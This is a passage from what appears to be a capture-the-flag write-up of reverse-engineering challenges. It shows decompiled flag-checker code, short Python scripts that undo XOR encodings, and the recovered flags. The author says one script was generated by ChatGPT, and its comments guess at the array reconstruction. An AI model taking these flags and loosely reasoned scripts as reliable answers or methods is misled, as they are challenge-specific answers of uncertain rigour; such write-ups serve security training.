ios_base::sync_with_stdio(0);
cin.tie(0);cout.tie(0);
solve();
cout << flag;
return 0;
}
```
My cript to swap as the chall.

And I get flag: W1{evil_sleeps_a5_NoOn_4v4ry_time!}
### Easy Flag Checker

```c
__int64 __fastcall main(int a1, char **a2, char **a3)
{
bool v4; // [rsp+Bh] [rbp-4F5h]
int i; // [rsp+Ch] [rbp-4F4h]
char v6[1240]; // [rsp+10h] [rbp-4F0h] BYREF
unsigned __int64 v7; // [rsp+4E8h] [rbp-18h]
v7 = __readfsqword(0x28u);
std::string::basic_string();
std::operator<<<std::char_traits<char>>(&std::cout, "Give me flag: ");
std::operator>><char>(&std::cin, v6);
v4 = std::string::size(v6) == 20;
for ( i = 0; i <= 19; ++i )
{
*(_DWORD *)&v6[4 * i + 32] = (char)(*(_BYTE *)std::string::operator[]() ^ 0x38);
if ( *(_DWORD *)&v6[4 * i + 32] != dword_4020[i] )
v4 = 0;
}
if ( v4 )
std::operator<<<std::char_traits<char>>(&std::cout, "Correct!");
else
std::operator<<<std::char_traits<char>>(&std::cout, "Wrong!");
std::string::~string(v6);
return 0LL;
}
```
```
dword_4020 dd 'o', 9, 'C', 'N', 0Bh, 'J', 'A', 'g', 0Bh, 0Ch, 'K', 'A', 'g', 'J', 9, '_', 'P', 0Fh, 7, 'E', 1Eh dup(0)
```
My script to solve it
```python
dword_4020 = [
ord('o'), 9, ord('C'), ord('N'), 0x0B, ord('J'), ord('A'), ord('g'),
0x0B, 0x0C, ord('K'), ord('A'), ord('g'), ord('J'), 9, ord('_'),
ord('P'), 0x0F, 7, ord('E'), 0x1E
]
flag = ''.join(chr(c ^ 0x38) for c in dword_4020)
print(flag)
```

Flag: W1{v3ry_34sy_r1gh7?}
### GiacMoTrua1

I also put every thing that i downloaded into ChatGPT and ask it the give me a python script that can reverse the FLAG =)))))))))
```python
dic = [0] * 85
dic[0] = 33
dic[1] = 35
dic[2] = 36
dic[3] = 37
dic[4] = 38
dic[5] = 40
dic[6] = 41
dic[7] = 42
dic[8] = 43
dic[9] = 44
dic[10] = 45
dic[11] = 46
dic[12] = 47
dic[13] = 48
dic[14] = 49
dic[15] = 50
dic[16] = 51
dic[17] = 52
dic[18] = 53
dic[19] = 54
dic[20] = 55
dic[21] = 56
dic[22] = 57
dic[23] = 58
dic[24] = 59
dic[25] = 60
dic[26] = 61
dic[27] = 62
dic[28] = 63
dic[29] = 64
dic[30] = 65
dic[31] = 66
dic[32] = 67
dic[33] = 68
dic[34] = 69
dic[35] = 70
dic[36] = 71
dic[37] = 72
dic[38] = 73
dic[39] = 74
dic[40] = 75
dic[41] = 76
dic[42] = 77
dic[43] = 78
dic[44] = 79
dic[45] = 80
dic[46] = 81
dic[47] = 82
dic[48] = 83
dic[49] = 84
dic[50] = 85
dic[51] = 86
dic[52] = 87
dic[53] = 88
dic[54] = 89
dic[55] = 90
dic[56] = 91
dic[57] = 97
dic[58] = 98
dic[59] = 99
dic[60] = 100
dic[61] = 101
dic[62] = 102
dic[63] = 103
dic[64] = 104
dic[65] = 105
dic[66] = 106
dic[67] = 107
dic[68] = 108
dic[69] = 109
dic[70] = 110
dic[71] = 111
dic[72] = 112
dic[73] = 113
dic[74] = 114
dic[75] = 115
dic[76] = 116
dic[77] = 117
dic[78] = 118
dic[79] = 119
dic[80] = 120
dic[81] = 121
dic[82] = 122
dic[83] = 123
dic[84] = 125
rev_dic = {}
for i in range(85):
rev_dic[dic[i]] = i
target = 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??'
length = len(target)
# The original array size was length * 2, and we got the final string
# from index (23 * length + 16) % length onwards for length characters
# We need to reconstruct the original array
target_ascii = [ord(c) for c in target]
# Find the indices in the original array
start_idx = (23 * length + 16) % length
original_indices = list(range(start_idx, start_idx + length))
# Create the full array
ans = [0] * (length * 2)
for i, val in zip(original_indices, target_ascii):
ans[i] = val
ans[i - length] = val # Due to the duplication in the original code
# Now we can reverse the XOR operation
flag = ''
for i in range(length):
# Find the index in reverse_dic that gives us ans[i]
for possible_char in range(256): # Try all possible characters
# Apply the same transformation as in the original code
if possible_char < len(dic) and dic[possible_char] == ans[i]:
# Reverse the XOR operation
original_char = possible_char ^ 112
flag += chr(original_char)
break
print(flag)
```

Flag: W1{H3pe_y3U_w1ll_enJ9y_th2s_ch311_s0_m3c1!}